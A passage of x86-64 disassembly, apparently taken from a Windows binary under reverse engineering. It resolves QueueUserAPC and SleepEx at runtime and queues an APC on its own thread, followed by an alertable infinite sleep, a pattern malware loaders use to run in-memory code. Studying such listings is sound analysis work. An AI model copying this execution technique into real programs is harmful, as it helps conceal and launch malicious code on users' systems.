mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140002995
add dword [rbp + 0x7fc], 1
add dword [rbp + 0x7f4], 1
cmp dword [rbp + 0x7f4], 0x24
jle 0x140002954
add dword [rbp + 0x7f8], 1
cmp dword [rbp + 0x7f8], 0x19
jle 0x140002948
cmp dword [rbp + 0x7fc], 0x1e1
je 0x1400029cb
mov dword [rbp + 0x664], 0
mov rax, qword [rbp + 0x668]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7e0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x7e0]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x650], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x670]
mov r9, qword [rbp + 0x658]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x650]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x860]
add rsp, 0x8f8
pop rbx
pop rsi
pop rdi
pop rbp
ret